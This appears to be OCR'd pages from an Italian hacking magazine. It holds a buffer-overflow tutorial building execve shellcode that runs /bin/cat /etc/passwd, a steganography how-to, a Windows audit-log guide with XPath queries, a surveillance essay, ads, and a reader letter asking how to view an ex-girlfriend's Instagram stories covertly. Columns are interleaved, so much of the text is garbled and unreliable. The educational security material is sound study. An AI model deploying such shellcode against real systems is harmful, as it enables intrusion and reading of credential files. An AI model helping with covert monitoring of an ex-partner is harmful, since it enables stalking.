che sarà risolto dal loader dall’indirizzo dove è memorizzato
(caricatore) a runtime, solo section .text bin (o qualunque nome gli si voglia
a questo punto si conosce l’esatto global _start dare). La direttiva dq sta per
indirizzo. Un problema che dovrà _start: declare quadword (una parola
essere raggirato e lo si può fare mov rax, 59 a 64 bit). La sezione inizia con
assegnando valori opportuni lea rdi, [rel bin] la direttiva align N il cui scopo
ai registri coinvolti. lea rsi, [rel è allineare la variabile/istruzione
args] successiva su un byte pari al
L’INDIRIZZO REALE xor edx, edx numero riportato. Tecnica spesso
Come tutti i programmi esistono syscall usata per ottimizzare il
diversi modi per ottenere posizionamento della struttura
il medesimo risultato, quello La sintassi utilizzata è quella in memoria poiché le nuove
riportato è parso il più intuitivo dell’assemblatore NASM (Netwide architetture x86 hanno una
poiché segue, per certi versi, Assembler). Nella sezione .rodata lunghezza di parola superiore
il filo logico del programma C (read-only data) vengono riportate e multipla di 8 bit (32 o 64 bit).
e degli output riportati nelle costanti statiche come /etc/passwd Ciò significa che in un’unica
figure precedenti. e /bin/cat, indicate dalle etichette posizione di memoria è possibile
Va da sé che, laddove se ne hanno arg2, con riferimento al secondo memorizzare 4 o 8 byte di dati.
le capacità, niente e nessuno vieta argomento della syscall execve(), A questo punto inizia la sezione
di crearne una propria versione e bin per il primo argomento, il .text che dice all’assemblatore di
ottimizzata e migliorata. programma da eseguire. Va da sé passare al segmento dove viene
In un editor di testi si riportino che è possibile utilizzare qualsiasi memorizzato il codice. La prima
istruzione è mov rax, 59 che già
Nel corso degli anni, i buffer overflow conosciamo; memorizza nel
registro %rax il codice 59 che
hanno colpito di tutto, non solo i identifica univocamente la
computer ma anche stampanti, router, execve(). Seguono due istruzioni
macchine fotografiche e altro ancora lea (Load Effective Address) che
46
BUFFER OVERFLOW
calcolano l’indirizzo effettivo nasm -f elf64 Elenco_assembly. del codice con in più gli opcode
del secondo operando (operando asm che, di default, creerà un file di corrispondenti [figura #4]. Allora,
di origine o sorgente) e lo nome Elenco_assembly.o dal da un punto di vista di principio,
memorizzano nel primo operando quale è possibile creare l’eseguibile al netto di ottimizzazione e verifiche
(operando di destinazione), un Elenco_assembly con ld -o Elenco_ è sufficiente copiare gli opcode
generico registro. Nel nostro caso assembly Elenco_assembly.o. nell’ordine riportato dall’output di
non potranno essere due registri Il comando ld è il linker in ambiente objdump realizzando una stringa
generici ma dovranno GNU/Linux, ovvero il programma in esadecimale, per esempio \xb8\
corrispondere ai registri del primo che integra i moduli – cioè codice x3b\x00\x… e via a seguire. Molto
e secondo argomento della oggetto e librerie – a cui il più semplicemente tramite una riga
execve() ovvero %rdi e %rsi. Infine programma fa riferimento al fine di script di shell si può effettuare
si deve caricare il registro %rdx di creare un eseguibile da poter l’estrazione automaticamente:
con un null byte, funzione espletata avviare. Gli interessati possono fare
dall’istruzione xor edx, edx. Quindi riferimento a man 1 ld. A questo for i in $(objdump -d elenco_
si invoca l’istruzione syscall che punto lanciando il file Elenco_ assembly.o -M intel | grep “^
ritorna il valore trovato in %rax, assembly otterremo esattamente “ | cut -f2); do echo -n
ovvero 59, che lancerà la execve() lo stesso risultato del programma ‘\x’$i; done; echo
con gli argomenti presenti nei in C [figura #4]. Un passaggio
registri %rdi, %rsi e %rdx. un po’ laborioso ma che permette Questo script fornirà come output
di comprendere un minimo la la stringa visibile in [figura #5], cioè
VERIFICARE IL CODICE dinamica che c’è dietro. Rimane, lo shellcode completo per il
Questo programma di poche righe però, un ultimo passo da compiere programma realizzato in C.
in linguaggio Assembly avrà prima di terminare questo C’è un altro punto da risolvere:
il medesimo funzionamento del appuntamento; come ricaviamo lo come iniettare questo codice come
programma in C? Per scoprirlo shellcode? Il comando objdump -d input a un programma vulnerabile?
occorre dapprima assemblarlo, elenco_assembly.o -M intel La risposta al prossimo
funzione espletata dal comando fornisce in output il disassemblato appuntamento.
47
HOW TO
L’ARTE DI NASCONDERE
I FILE DENTRO AI FILE
Che sia per veicolare informazioni cospirazioniste o per sana
voglia di comunicare in segreto con qualche amico hacker,
questa è la tecnica giusta per farlo!
L
IN BREVE a steganografia, termine conosce la chiave per decifrare il
composto dalle parole greche messaggio nascosto è in grado di
Impariamo a utilizzare
il software SilentEye steganos (coperto) e grafia ricostruirlo e comprenderne davvero il
per nascondere un (scrittura) ha origini antiche senso. Data la sua efficacia e, più in
messaggio all’interno (tracce di tale tecnica sono state generale, considerate le sue velleità
di un’immagine ritrovate nell’antica Grecia ai tempi complottistiche e cospirazioniste, si è
o di un file audio.
di Erodoto) ed è volta a nascondere tramandata sino ai giorni nostri,
DIFFICOLTÀ la comunicazione tra due interlocutori, declinandosi inevitabilmente in chiave
celando il messaggio all’interno digitale. Quando scorrete le pagine di
di contenuti in apparenza normali un blog underground o di un sito Web
(articoli, immagini, testi…): solo chi tendenzialmente borderline, siete
davvero sicuri che ciò che vedete
a schermo non contenga in realtà
48
STEGANOGRAFIA
Messaggi in bottiglia? Estrazione del
No, in un file! contenuto segreto
#1 #1
Installate SilentEye sul PC ed eseguitelo. Da File > Ipotizzate di aver pubblicato l’immagine appena
Open caricate l’immagine (BMP o JPEG) o il file audio generata sul vostro sito Web e di aver comunicato
(WAV) che fungerà da contenitore per il messaggio che ai lettori/seguaci (ovviamente con altri strumenti)
andrete a nascondere (PDF, TXT, DOC, immagine ecc.). le informazioni necessarie per la decodifica. Ebbene,
In alternativa potete trascinare il file direttamente questi non devono fare altro che installare SilentEye,
nell’area drag and drop e cliccare Encode. scaricare l’immagine e trascinarla nel software.
#2 #2
In Options potete intervenire sulla compressione del Cliccando Decode, in basso a sinistra, si aprirà
file (JPEG quality) e su una serie di parametri necessari la schermata per l’inserimento dei parametri.
a codificare il “messaggio”. Questi sono relativi alla Rispettando quanto fatto in sede di codifica, impostate
posizione dell’Header del file occultato, all’intervallo Luminance interval (k) su 16, dal menu a tendina
di luminanza coinvolto (Luminance interval) e alla Header position selezionate top e in Passphrase
parola chiave (Passphrare) che è personalizzabile. digitate la parola chiave utilizzata: segreto_1@.
#3 #3
Nel box in basso a sinistra potete digitare il messaggio Non vi resta che cliccare su Decode in basso a destra
da nascondere. In alternativa potete occultare un file e attendere che il messaggio segreto appaia in chiaro
caricandolo con il pulsante in basso a destra. Tenete sullo schermo. Qualora le opzioni inserite non
d’occhio il valore degli octets disponibili: se li superate, dovessero corrispondere a quelle utilizzate in fase
il file di output non sarà generato. Cliccando Encode di decodifica verrà visualizzato l’errore This media
generate il file nel percorso indicato in Destination. don’t seem to have an hidden message.
49
HOW TO
OTTAVA P
A RTE
C
on la puntata di oggi CONTROLLI E GRANULARITÀ
IN BREVE
concludiamo questa serie La verifica di cui stiamo parlando è resa
Impariamo a usare sull’audit di Windows, una possibile proprio dalla granularità
gli strumenti di analisi
funzionalità di grande utilità che il sistema di log di Windows, se
dei log del sistema
operativo di casa per chi vuole il pieno controllo delle opportunamente configurato, è in grado
Microsoft. operazioni compiute sulla propria di offrire, consentendoci di esaminare le
macchina. Questa funzionalità registrazioni di eventi interessanti sotto
DIFFICOLTÀ
non è abilitata di default (potete farlo il profilo della sicurezza, come:
seguendo le istruzioni del box Attivare • i tentativi di login sul PC (distinguendo
l’audit), anche in considerazione dei tra quelli avvenuti con successo e quelli
requisiti di memorizzazione richiesti: la negati), così come i successivi logoff;
gestione dei log che tracciano le attività • la creazione di utenti e/o gruppi
degli utenti richiede un certo spazio su di sicurezza e la loro cancellazione;
disco, che è bene riservare ampliando le • l’aggiunta e la rimozione di un utente
dimensioni del registro Security che li da un gruppo;
ospita (vedi il box Impostazioni del • la rimozione dei log dal registro;
registro). Una volta soddisfatti tali • l’avvio di programmi e, più in generale,
requisiti, l’abilitazione delle funzionalità l’utilizzo del filesystem, distinguendo
di audit ci consente un controllo molto gli accessi sino a livello di file.
dettagliato delle operazioni compiute Nostro inseparabile compagno in
sul sistema, caratteristica che si presta queste verifiche è Event Viewer (vedi
a una verifica della presenza di il box omonimo), che talvolta abbiamo
un’eventuale attività malevola in atto integrato usando PowerShell.
a nostra insaputa sulla macchina.
EVENTI & FILESYSTEM
Attraverso tali strumenti, nelle ultime
figura #1 puntate ci siamo lanciati nell’analisi degli
eventi connessi al filesystem, di cui
abbiamo avviato la registrazione
configurando (come descritto nel box
Audit & filesystem) l’audit sulla
directory C:\IMPORTANTE della
macchina virtuale utilizzata per i test.
In questo modo abbiamo avuto la
Un esempio dell’evento
possibilità di individuare e studiare gli
con ID 4656.
eventi d’interesse in un’indagine di
questo tipo, caratterizzati dagli ID:
50
LOG DI WINDOWS
tuttavia, non si trova nell’esame dei
singoli eventi, quanto piuttosto
nell’individuazione – all’interno
delle migliaia di voci di log presenti
nel registro Security – degli eventi
relativi all’oggetto d’interesse e
nella loro successiva correlazione.
HANDLE ID
Per fortuna tra le informazioni
riportate nella sezione Object di
51
HOW TO
FOCUS SULL’UTENTE
figura #3 Si tratta di un ottimo risultato,
ma se volessimo di più? Sebbene
per determinati file (come quello
relativo alle credenziali bancarie)
sia opportuna una verifica ad hoc,
nella stragrande maggioranza dei
casi più che il singolo file quello che
ci interessa è il quadro d’insieme:
capire, cioè, quali siano le
operazioni (tutte le operazioni!)
compiute da un utente sul
filesystem. In questo modo
è possibile comprendere, per
esempio, se sia stato installato
un qualche programma malevolo,
invocato un determinato
programma di sistema, inseriti
nuovi file o modificati quelli
esistenti: esattamente quel tipo di
attività associate a un’intrusione.
Un esempio dell’evento
con ID 4658. QUERY XPATH
Per spostare il focus delle nostre
interrogazioni dal file all’utente è
necessaria una modifica alla query
Audit & filesystem XPath realizzata nella scorsa
Per poter esaminare i log degli accessi al filesystem, dobbiamo innanzitutto puntata, che sostituisca la
attivare l’audit su (almeno) una delle directory del nostro disco. A tal fine: condizione relativa all’Handle ID
• creiamo una directory ad hoc sotto il disco C: che chiameremo con una in grado di filtrare i soli
IMPORTANTE, quindi clicchiamo con il tasto destro del mouse sulla cartella eventi prodotti da Windows a
e selezioniamo dal menu contestuale la voce Properties;
seguito delle attività di utente2.
• selezioniamo il tab Security e clicchiamo il pulsante Advanced;
• nella nuova finestra così visualizzata dobbiamo selezionare – ancora una Qualcosa del genere, insomma:
volta – il tab Auditing, avendo cura di confermare la nostra scelta mediante
la pressione del tasto Continue; <Query List>
• finalmente avremo accesso alla finestra per l’impostazione dell’audit sulla <Query Id=“0”
directory: premiamo il pulsante Add per aggiungere quella che Windows
chiama audit entry, quindi clicchiamo Select a principal per selezionare Path=“Security”>
il target dell’audit (è sufficiente digitare il nome users nel campo Enter the <Select
object name to select e premere successivamente Check names per Path=“Security”>
vedere finalmente selezionato il gruppo Users della nostra macchina
locale, e sottoporre così ad audit ogni accesso degli utenti sulla cartella);
*[System[(EventID>0)]]
• confermiamo la nostra scelta premendo il pulsante OK quindi, una volta
tornati alla finestra per l’impostazione dell’audit, assicuriamoci di and
selezionare i checkbox relativi alle attività che intendiamo monitorare, *[EventData[Data[@
ovvero: read & execute, list folder contents, read, write; Name=‘SubjectUserName’
• premiamo il tasto OK per confermare le operazioni compiute e chiudere ]=‘utente2’]]
tutte le finestre aperte nel corso del procedimento;
• riempiamo la nostra directory con un congruo numero di file </Select>
da monitorare. </Query>
</Query List>
52
LOG DI WINDOWS
Impostazione
del registro
Per impostare una dimensione
adeguata del registro Security, è
sufficiente avviare Event Viewer,
fare click con il pulsante destro
sul nome del registro, quindi
selezionare la voce Properties
dal menu contestuale che viene
figura #4
visualizzato. Per modificare
la lunghezza massima occorre
agire sul valore Maximum log
La query XPath per
size (KB): impostiamolo
individuare gli accessi al file
a 100.032 KB, ovvero 100 MB.
con Handle ID pari a 0x11c. In questo modo possiamo
garantire una dimensione
adeguata per i nostri
esperimenti, evitando che alcuni
degli eventi da noi prodotti
possano essere sovrascritti (e
quindi vadano “persi”) a causa
dell’esiguità del limite impostato
di default da Windows.
FILTRO AGGIUNTIVO
In questo codice, per l’appunto, pannello sinistro), quindi Per restringere i risultati della
viene chiesto di mostrarci qualsiasi premiamo il pulsante Filter nostra interrogazione, dobbiamo
evento (System[(EventID>0)]) current log per avviare necessariamente aggiungere
imputabile a utente2 una query guidata; un’ulteriore condizione in grado di
(EventData[Data[@ • inseriamo un ID da filtrare circoscrivere gli eventi d’interesse,
Name=‘HandleId’]=’0x11c’). a piacere, per esempio il 4656; eliminando quelli superflui. Per
• spostiamoci sul secondo tab, esempio, se siamo interessati alle
EVENT VIEWER denominato XML, in modo da attività poste in essere da utente2
Per eseguire la query dobbiamo visualizzare la query XPath sul prompt dei comandi (un tool
innanzitutto avviare Event Viewer. corrispondente ai criteri di filtro spesso utilizzato dagli attaccanti
Il procedimento da seguire non sinora inseriti; nel corso di un’intrusione),
è complesso: • selezioniamo la check box Edit possiamo affinare la query
• dalla schermata principale query manually, quindi inseriamo in questo modo [figura #6]:
del programma, selezioniamo l’interrogazione che abbiamo
il registro Security (percorso appena elaborato. <Query List>
Windows Logs | Security sul A questo punto, se clicchiamo sul <Query Id=“0”
53
HOW TO
Event Viewer
Il tool che utilizziamo in questa
serie per accedere al registro
Security di Windows è Event
Viewer, che può essere avviato
direttamente dal menu Start
di Windows, inserendone
il nome all’interno della barra
d’avvio rapido (se il sistema
operativo è in italiano,
il nome da utilizzare è invece
Visualizzatore d’eventi).
L’applicazione si presenta
suddivisa in vari riquadri:
TERZA CONDIZIONE
figura #7
Ma possiamo fare anche di meglio: Adesso abbiamo
un’ottantina di eventi:
scoprire quali delle attività
si può fare ancora di
presentate in output siano state meglio?
compiute – utilizzando il prompt
54
LOG DI WINDOWS
Name=‘ProcessName’]=‘C:\
Windows\System32\cmd.exe’]]
and
*[EventData[Data[@
Name=‘ObjectName’]=‘C:\
IMPORTANTE\file_importante.
txt’]]
</Select>
</Query>
</Query List>
ed è in grado di restringere
figura #8 i risultati ad appena due eventi
[figura #9].
La query XPath con la terza e
ultima condizione.
TIPO DI ACCESSO
Vale la pena soffermarsi sui risultati
di questa query. Gli eventi ottenuti,
infatti, possono dirci molto circa
le attività effettivamente compiute
da utente2 sul file. Non solo
sappiamo che l’utente ha richiesto
di accedere al file C:\IMPORTANTE\
file_importante.txt (come
testimonia l’evento 4656) ma anche
che ha concretamente esercitato
l’accesso richiesto (evento 4663).
figura #9 Si tratta di due informazioni già di
Adesso sì che si può per sé abbastanza allarmanti, ma
esaminare manualmente cosa è stato fatto sul file di preciso?
l’output della query: si Qualcuno ha alterato le nostre
tratta di due soli eventi! credenziali (che magari abbiamo
difficoltà a ricordare, ecco perché
erano state appuntate proprio su
quel file) per impedirci di accedere
mentre fa incetta dei nostri
risparmi? Per “fortuna” non è così:
utente2 si è limitato ad accedere
in lettura, come conferma l’evento
4656, in cui sono riportati
esplicitamente i permessi richiesti
sul file. Come possiamo notare
[figura #10] si tratta di permessi
figura #10 di lettura (read): dunque il file
dovrebbe essere ancora integro,
L’accesso al file da parte
sebbene i suoi contenuti siano
dell’utente malevolo è
avvenuto in lettura.
adesso noti a una persona non
autorizzata…
55
HACKULTURE
FACEBOOK
E IL MALE,
MA GOOGLE
E I L S U O M A E S T R O
ll or i? M ar k Zu ck er be rg ha imparato
ntro
Chi controlla i nuovi co i da ti da ll e pe rs one grazie al lavoro
iz za re
come estrarre e monet ag e e Se rg ei Brin. L’ignoranza
La rr y P
fatto venti anni fa da
en ti da se m pr e è cr uciale per il successo
degli ut
M
ark Zuckerberg di dollari) è una delle ragioni che lasciamo dietro di noi ogni
è il primo follower per cui le loro attività sono giorno e da algoritmi segreti
di Sergei Brin pericolose. Google e poi che costruiscono profili
e soprattutto Facebook lavorano alla fantasma della nostra vita,
di Larry Page. L’azienda-una- costruzione di quella che è stata anche a nostra insaputa,
volta-conosciuta-come- definita da Shoshana Zuboff, per la pubblicità ma anche
Facebook, cioè Meta, è in realtà professoressa della Harvard per la manipolazione diretta,
un modo per riprendere Business School e autrice del non solo commerciale.
da dove è arrivato Google libro Il capitalismo della
e potenziare al massimo sorveglianza, la “più grande FRANCES HAUGEN
l’estrazione dei dati. infrastruttura della storia Le rivelazioni dei wistleblower
La dimensione di queste per l’estrazione dei dati come Frances Haugen hanno
aziende (Facebook ha una dalle persone”. Una macchina mostrato, a partire dal 2016,
capitalizzazione di mercato gigantesca, alimentata dal una serie infinita di documenti
superiore ai mille miliardi numero infinito di tracce digitali che mostrano come Google,
Facebook e in misura
Il Web 3.0 sarà veramente il modo relativamente inferiore anche
Amazon e Microsoft,
di porre fine al capitalismo della estraggano e utilizzino
sorveglianza? Non ne siamo sicuri... le informazioni create
56
DATI PERSONALI
da governare e organizzare
con la partecipazione di tutti,
in maniera democratica ma,
dice Zuboff, siamo esattamente
all’opposto: sono pochissimi
che decidono cosa fare e tutti
gli altri sono vittime tenute
all’oscuro.
RACCOLTA
PDF
HACKER
JOURNAL
Acquista la raccolta
PDF digitale del 2020
12 numeri a soli 7,90 €
anziché 46,80 € vai su
www.hackerjournal.it/raccoltapdf2020
58
ABBONATI
ALLA TUA RIVISTA PREFERITA
TE LA SPEDIAMO APPENA STAMPATA!
Con l’abbonamento
cartaceo la versione
digitale è in OMAGGIO!
-28% -57%
CARTACEO DIGITALE
12 numeri 12 numeri
solo 33,90€ solo 19,90€
invece di 46,80€ invece di 46,80€
REPLY
n la redazione insieme
Condividi i tuoi dubbi co rresti
menti su quello che vo
a nuove idee e suggeri al.it
vedere sulla rivista: re
dazione@hackerjourn
60
STOR IE IN A N O N IM O
Mi piacerebbe seguire le storie di Instagram che pubblica una
mia ex fidanzata senza che però lei lo sappia. Non esiste una
qualche app o anche un sito Internet che lo renda possibile?
Giancarlo
61
Il prossimo nu mero febbra io
5
sa ra‘ in ed icola da l 2
Ti telecomando
il telecomando getti
o degli og
Ecco come clonare un
case
più diffusi nelle nostre
Alla scoperta
d i N T FS
m ogni giorno...
Usiamo questo filesyste
ero?
ma lo conosciamo davv
Diventa un
Open Crash
Le multinazionali segugio deichella Rete
e gli strumenti
sfruttano il codice Impara a usare le tecn e le informazioni
libero senza dare tt
di OSINT per scovare tu o target
niente in cambio. disponibili sul tu
Ma c’è chi non
ci sta più!
Events Production: Giulia Sprea (Mind S.r.l.) - giulia@sprea.it Distributore per l’Italia: Press-Di Distribuzione stampa e multimedia s.r.l. - 20090 Segrate
Distributore per l’Estero : SO.DI.P S.p.A. Via Bettola, 18 - 20092 Cinisello Balsamo (MI)
SERVIZIO QUALITÀ EDICOLANTI E DL Tel. +390266030400 - Fax +390266030269 - sies@sodip.it - www.sodip.it
Sonia Lancellotti, Virgilio Cofano: Tel. 02 92432295 - distribuzione@sprea.it
351 5582739 Stampa: Arti Grafiche Boccia S.p.A.- Via Tiberio Claudio Felice, 7- 84131 Salerno
Scansiona il QR Code
edi67 / italian / ghost
Acquistala su www.sprea.it/scienze
versione digitale disponibile dall’11 gennaio
PU BBLICITÀ
100% INDIPENDENTE! NO
T utto quello
ch e g l i a l t r i
n o n o s a n o d i r t i !
IN QUES T O N U M E R O
VULNERABILITÀ | Bucare la chat senza SQL
Il sistema di messaggistica Rocket.Chat ha alcune noSQL injection
che permettono di bypassare il login ottenendo i privilegi di root
Prezzi esteri: AUT € 7,50 - BE € 7,00 - LUX € 6,50 - F+PM € 9,50 FR + € 10,50 PM - ES € 6,00 - PT (Cont.) € 5,50 - CH Tedesca CHF 8,3 - CH Ticino CHF 7,3 - OLANDA € 7,50